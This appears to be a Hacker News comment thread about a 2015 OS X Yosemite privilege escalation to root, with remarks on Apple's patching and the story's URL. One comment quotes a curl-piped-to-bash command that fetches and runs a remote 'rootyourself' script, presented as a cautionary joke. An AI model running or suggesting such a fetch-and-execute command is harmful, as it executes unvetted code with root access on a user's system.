Exploit to get root on OS X 10.10 fits in a tweet

"Introducing a new command line feature to restore access after losing your password"...

I like to think of this as a good example of why not to use curl to execute bash scripts.<p><pre><code> curl -s https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;nchelluri&#x2F;rootyourself&#x2F;master&#x2F;doh.sh | bash</code></pre>

I always get bummed out over @i0n1c&#x27;s tweets, so many security issues that are just ignored by apple.<p>Anyone have stats on # of exploits per type of OS X. I would want to see how many known security updates were pushed during 10.6 era vs now. At least in the 10.6 era, the OS you were using ( if it was a previous generation) was still getting security updates.

Lots of exploits fit in a tweet. Lots don&#x27;t. That really doesn&#x27;t have anything to do with how &quot;bad&quot; or &quot;trivial&quot; it is.

&quot;&#x27;Apple ships fixes for security in beta versions of future products, but does not fix current versions,&#x27; Esser noted.&quot;<p>Is that really a thing? Apple doesn&#x27;t ship security updates? Or is that just trolling?

that&#x27;s pretty bad. I just tested it, and it does, indeed work.

Pretty new to OS X, when will Yosemite expect a fix? Is El Capitan Beta stable enough to be a better bet?

sudo: unable to stat &#x2F;etc&#x2F;sudoers: Permission denied sudo: no valid sudoers sources found, quitting

What is that domain? This is a Register post, here it was submitted as <a href="http:&#x2F;&#x2F;www.theregister.stfi.re&#x2F;2015&#x2F;07&#x2F;22&#x2F;os_x_root_hole&#x2F;?sf=ekxly" rel="nofollow">http:&#x2F;&#x2F;www.theregister.stfi.re&#x2F;2015&#x2F;07&#x2F;22&#x2F;os_x_root_hole&#x2F;?sf...</a> which looks like social media tracking crap.<p><a href="http:&#x2F;&#x2F;www.theregister.co.uk&#x2F;2015&#x2F;07&#x2F;22&#x2F;os_x_root_hole&#x2F;" rel="nofollow">http:&#x2F;&#x2F;www.theregister.co.uk&#x2F;2015&#x2F;07&#x2F;22&#x2F;os_x_root_hole&#x2F;</a> is the actual URL.

Posted yesterday, but without much discussion: <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=9933639" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=9933639</a>.